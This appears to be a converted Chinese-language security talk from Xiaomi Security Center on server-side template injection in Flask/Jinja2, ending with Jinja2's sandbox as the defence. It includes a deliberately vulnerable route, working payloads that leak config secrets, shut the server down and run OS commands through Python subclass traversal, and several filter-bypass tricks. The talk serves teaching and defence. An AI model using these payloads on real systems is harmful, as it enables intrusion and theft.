



模板注入与FLASK

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# SSTI WITH FLASK



小米安全中心  
Xiaomi Security Center



- 模板注入基本成因
- 沙箱逃逸的思路
- 绕过防御
- 使用JINJA2沙箱



# 模板注入基本成因

## WHAT IS SSTI?


- ▶ Server Side Template Injection (SSTI) / 服务端模板注入
- ▶ 用户的输入作为生成模板字符串的一部分，在模板引擎进行解析时，实现函数调用、命令执行，从而导致信息泄露、get shell等后果。
- ▶ 相比于XSS，由于模板注入是在服务端引擎解析时发生，故加上“Server Side”。
- ▶ SSTI的影响范围及危害程度，一定程度上取决于模板引擎的复杂度。

## VULNERABLE DEMO




```
1 @app.route('/ssti_safe')
2 def ssti_safe():
3     exploit = request.args.get('exploit')
4     return render_template_string("<h1>Hello,{{ exploit }}</h1>", exploit=exploit)
5
6
7 @app.route('/ssti_unsafe')
8 def ssti_unsafe():
9     exploit = request.args.get('exploit')
10    return render_template_string("<h1>Hello,{{ exploit }}</h1>".format(exploit))
```


## VULNERABLE DEMO




## VULNERABLE DEMO



## VULNERABLE DEMO



## VULNERABLE DEMO



## LOOK INTO SOURCE CODE



```
1 def render_template_string(source, **context):
2     ctx = _app_ctx_stack.top
3     ctx.app.update_template_context(context)
4     return _render(ctx.app.jinja_env.from_string(source),
5                   context, ctx.app)
6
```

flask中使用render\_template\_stirng函数对模板字符串进行渲染

## LOOK INTO SOURCE CODE



```
1 def _render(template, context, app):
2     """Renders the template and fires the signal"""
3
4     before_render_template.send(app, template=template, context=context)
5     rv = template.render(context)
6     template_rendered.send(app, template=template, context=context)
7     return rv
```

render\_template\_string中调用的\_render方法中，调用了jinja中的render方法，并传入了当前应用的上下文

## CONTEXT

- ▶ **Jinja Globals**
- ▶ **Flask Template Globals**
- ▶ **User Defined Variables**

- **Other Operators**
- **If Expression**
- **List of Builtin Filters**
- **List of Builtin Tests**
- **List of Global Functions**
- **Extensions**
  - **i18n**
  - **Expression Statement**
  - **Loop Controls**

Jinja在模板中，默认可以使用的过滤器、函数等

## CONTEXT

► **Jinja Globals**

► **Flask Template Globals**

► **User Defined Variables**

### Standard Context

The following global variables are available within Jinja2 templates by default:

#### **config**

The current configuration object ([flask.config](#))

► *Changelog*

#### **request**

The current request object ([flask.request](#)). This variable is unavailable if the template was rendered without an active request context.

#### **session**

The current session object ([flask.session](#)). This variable is unavailable if the template was rendered without an active request context.

#### **g**

The request-bound object for global variables ([flask.g](#)). This variable is unavailable if the template was rendered without an active request context.


#### **url\_for()**

The [flask.url\\_for\(\)](#) function.

#### **get\_flashed\_messages()**

The [flask.get\\_flashed\\_messages\(\)](#) function.

## request.environ



```
Hello,{'wsgi.version': (1, 0), 'wsgi.url_scheme': 'http', 'wsgi.input': <_io.BufferedReader name=5>, 'wsgi.errors': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='UTF-8'>, 'wsgi.multithread': True, 'wsgi.multiprocess': False, 'wsgi.run_once': False, 'werkzeug.server.shutdown': <function WSGIRequestHandler.make_environ.<locals>.shutdown_server at 0x10d038ae8>, 'SERVER_SOFTWARE': 'Werkzeug/0.14.1', 'REQUEST_METHOD': 'GET', 'SCRIPT_NAME': "", 'PATH_INFO': '/ssti_unsafe', 'QUERY_STRING': 'exploit={{%20request.environ}}', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': 61103, 'SERVER_NAME': '127.0.0.1', 'SERVER_PORT': '5000', 'SERVER_PROTOCOL': 'HTTP/1.1', 'HTTP_HOST': 'localhost:5000', 'HTTP_USER_AGENT': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0', 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'HTTP_ACCEPT_LANGUAGE': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate', 'HTTP_CONNECTION': 'keep-alive', 'HTTP_UPGRADE_INSECURE_REQUESTS': '1', 'werkzeug.request': <Request 'http://localhost:5000/ssti_unsafe?exploit={{ request.environ}}' [GET]>}
```

Flask的全局变量request中所包含的变量

## request.environ




访问[http://localhost:5000/ssti\\_unsafe?exploit={{ request.environ\['werkzeug.server.shutdown'\]\(\)}}](http://localhost:5000/ssti_unsafe?exploit={{ request.environ['werkzeug.server.shutdown']()}})

## request.environ

```
* Serving Flask app "app.py"
* Environment: development
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [09/Jul/2018 18:07:24] "GET /ssti_unsafe?exploit={{%20request.environ[%27werkzeug.server.shutdown%27]()}} HTTP/1.1" 200 -
Process finished with exit code 0
```

服务器被关闭了

# config




A screenshot of a web browser window. The address bar shows the URL `localhost:5000/ssti_unsafe?exploit={{ config.items() }}`. The page content displays a large block of Python code representing the application's configuration settings. The code is a dictionary of items, many of which are highlighted in pink. The pink-highlighted items include `'MY_SECRET': 'my_secret'`, `'SECRET_KEY': None`, and several other settings like `'SESSION_COOKIE_NAME': 'session'` and `'JSONIFY_PRETTYPRINT_REGULAR': False`.

```
Hello,dict_items([('ENV', 'development'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MY_SECRET', 'my_secret')])
```

访问`http://localhost:5000/ssti_unsafe?exploit={{%20config.items()%20}}`得到了所有的配置信息

# config



A screenshot of a web browser window. The address bar shows the URL `localhost:5000/ssti_unsafe?exploit={{ config.items() }}`. The page content displays a large block of Python code representing the application's configuration settings. The code is a dictionary of items, many of which are highlighted in pink. The pink-highlighted items include `'MY_SECRET': 'my_secret'`, `'SECRET_KEY': None`, and several other settings like `'SESSION_COOKIE_NAME': 'session'` and `'JSONIFY_PRETTYPRINT_REGULAR': False`.

```
Hello,dict_items([('ENV', 'development'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MY_SECRET', 'my_secret')])
```

访问`http://localhost:5000/ssti_unsafe?exploit={{%20config.items()%20}}`得到了所有的配置信息

## config.from\_object



```
1 def from_object(self, obj):
2     if isinstance(obj, string_types):
3         obj = import_string(obj)
4     for key in dir(obj):
5         if key.isupper():
6             self[key] = getattr(obj, key)
```


config.from\_object加载一个模块或类中名字为大写的成员属性和方法

## config.from\_object

```
|>>>
|>>>
|>>> import os
|>>> for key in dir(os):
[...     if key.isupper():
[...         print key,':',getattr(os,key)
[...
|[EX_CANTCREATE : 73
EX_CONFIG : 78
EX_DATAERR : 65
EX_IOERR : 74
EX_NOHOST : 68
EX_NOINPUT : 66
EX_NOPERM : 77
EX_NOUSER : 67
EX_OK : 0
EX_OSERR : 71
EX_OSFILE : 72
EX_PROTOCOL : 76
EX_SOFTWARE : 70
```

查看OS模块中大写的成员变量

## config.from\_object



```
Hello,dict_items([('ENV', 'development'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MY_SECRET', 'my_secret'), ('CLD_CONTINUED', 6), ('CLD_DUMPED', 3), ('CLD_EXITED', 1), ('CLD_TRAPPED', 4), ('EX_CANTCREATE', 73), ('EX_CONFIG', 78), ('EX_DATAERR', 65), ('EX_IOERR', 74), ('EX_NOHOST', 68), ('EX_NOINPUT', 66), ('EX_NOPERM', 77), ('EX_NOUSER', 67), ('EX_OK', 0), ('EX_OSERR', 71), ('EX_OSFILE', 72), ('EX_PROTOCOL', 76), ('EX_SOFTWARE', 70), ('EX_TEMPFAIL', 75), ('EX_UNAVAILABLE', 69), ('EX_USAGE', 64), ('F_LOCK', 1), ('F_OK', 0), ('F_TEST', 3), ('F_TLOCK', 2), ('F_ULOCK', 0), ('NGROUPS_MAX', 16), ('O_ACCMODE', 3), ('O_APPEND', 8), ('O_ASYNC', 64), ('O_CREAT', 512), ('O_DIRECTORY', 1048576), ('O_DSYNC', 4194304), ('O_EXCL', 2048), ('O_EXLOCK', 32), ('O_NDELAY', 4), ('O_NOCTTY', 131072), ('O_NOFOLLOW', 256), ('O_NONBLOCK', 4), ('O_RDONLY', 0), ('O_RDWR', 2), ('O_SHLOCK', 16), ('O_SYNC', 128), ('O_TRUNC', 1024), ('O_WRONLY', 1), ('PRIO_PGRP', 1), ('PRIO_PROCESS', 0), ('PRIO_USER', 2), ('P_ALL', 0), ('P_NOWAIT', 1), ('P_NOWAITO', 1), ('P_PGID', 2), ('P_PID', 1), ('P_WAIT', 0), ('RTLD_GLOBAL', 8), ('RTLD_LAZY', 1), ('RTLD_LOCAL', 4), ('RTLD_NODELETE', 128), ('RTLD_NOLOAD', 16), ('RTLD_NOW', 2), ('R_OK', 4), ('SCHED_FIFO', 4), ('SCHED_OTHER', 1), ('SCHED_RR', 2), ('SEEK_CUR', 1), ('SEEK_END', 2), ('SEEK_SET', 0), ('ST_NOSUID', 2), ('ST_RDONLY', 1), ('TMP_MAX', 308915776), ('WCONTINUED', 16), ('WCOREDUMP', <built-in function WCOREDUMP>), ('WEXITED', 4), ('WEXITSTATUS', <built-in function WEXITSTATUS>), ('WIFCONTINUED', <built-in function WIFCONTINUED>), ('WIFEXITED', <built-in function WIFEXITED>), ('WIFSIGNALED', <built-in function WIFSIGNALED>), ('WIFSTOPPED', <built-in function WIFSTOPPED>), ('WNOHANG', 1), ('WNOWAIT', 32), ('WSTOPPED', 8), ('WSTOPSIG', <built-in function WSTOPSIG>), ('WTERMSIG', <built-in function WTERMSIG>), ('WUNTRACED', 2), ('W_OK', 2), ('X_OK', 1)])
```

执行了 `http://localhost:5000/ssti_unsafe?exploit={{ config.from_object('os') }}` 后再查看 `config.items()`

# 利用Python沙箱逃逸的思路




## 换个姿势继续

- ▶ Jinja2模板可以调用Python 中的内置变量并且可以调用对应变量类型下的方法，由此可以利用Python逃逸沙箱的思路来进行攻击。
- ▶ 例：在 `[].__class__.__base__.__subclasses__()`中寻找可利用的内置函数。
- ▶ PAYLOAD:



```
1 {% for c in [].__class__.__base__.__subclasses__() %}  
2     {% if c.__name__=='catch_warnings' %}  
3         {{ c.__init__.globals['__builtins__'].eval('__import__('os').popen('ls /etc').read()) }}  
4     {% endif %}  
5 {% endfor %}
```

## CODE EXECUTION



The background of the image is a dark, moody forest scene. Bare tree branches are silhouetted against a bright, hazy sky. The overall atmosphere is mysterious and slightly foreboding.

# 利用Jinja的全局filters绕过防御

## 过滤下划线`\_`

- ▶ 防御：过滤下划线，导致无法使用`__class__`、`__mro__`等。
- ▶ 绕过：使用`attr`和`join`

```
{{ [] | attr([ request.args.usc*2, request.args.class, request.args.usc*2 ] |  
join) }}&class=class&usc=_
```



```
{{ [] | attr(__class__) }}
```




```
{{ [].__class__ }}
```

## 过滤中括号[]

- ▶ 防御：过滤中括号，导致无法使使用[]取属性和无法使用list
- ▶ 绕过：使用getlist

```
{{ [] | attr(request.args.getlist(request.args.l) | join) }}
```

```
&l=a&a=_&a=_&a=class&a=_&a=_
```



```
{{ [].__class__ }}
```

## 过滤中括号join

- ▶ 防御：过滤了join，前两种绕过方式失效
- ▶ 绕过：使用format

```
{[ ] | attr(request.args.f |  
format(request.args.a,request.args.a,request.args.a,request.args.a)) }]  
&f=%s%sclass%s%s&a=_
```



```
{[ ].__class__ }}
```

## LIST OF BUILTIN FILTERS

- ▶ `replace()`
- ▶ `reverse()`
- ▶ `sum()`
- ▶ `truncate()`
- ▶ `upper()`
- ▶ `lower()`
- ▶ ...

The background image shows a panoramic view of a city skyline at night, likely Shenzhen, China. The city is reflected in the dark water in the foreground. A prominent skyscraper with a curved glass facade is visible in the center. The sky is filled with scattered clouds.

# 使用Jinja2的沙盒

## 使用JINJA2的沙盒进行防御

- ▶ 使用jinja2的沙盒来避免利用Python任何执行代码，在jinja2沙盒中，任何未注册的变量访问都会抛出错误。

### Sandbox

The Jinja2 sandbox can be used to evaluate untrusted code. Access to unsafe attributes and methods is prohibited.

Assuming `env` is a `SandboxedEnvironment` in the default configuration the following piece of code shows how it works:

```
>>> env.from_string("{{ func.func_code }}").render(func=lambda:None)
u''

>>> env.from_string("{{ func.func_code.do_something }}").render(func=lambda:None)
Traceback (most recent call last):
...
SecurityError: access to attribute 'func_code' of 'function' object is unsafe
```

## 使用JINJA2的沙盒进行防御

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Traceback (most recent call last):
...
SecurityError: access to attribute 'func_code' of 'function' object is unsafe
```



THE END

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THANKS



小米安全中心  
Xiaomi Security Center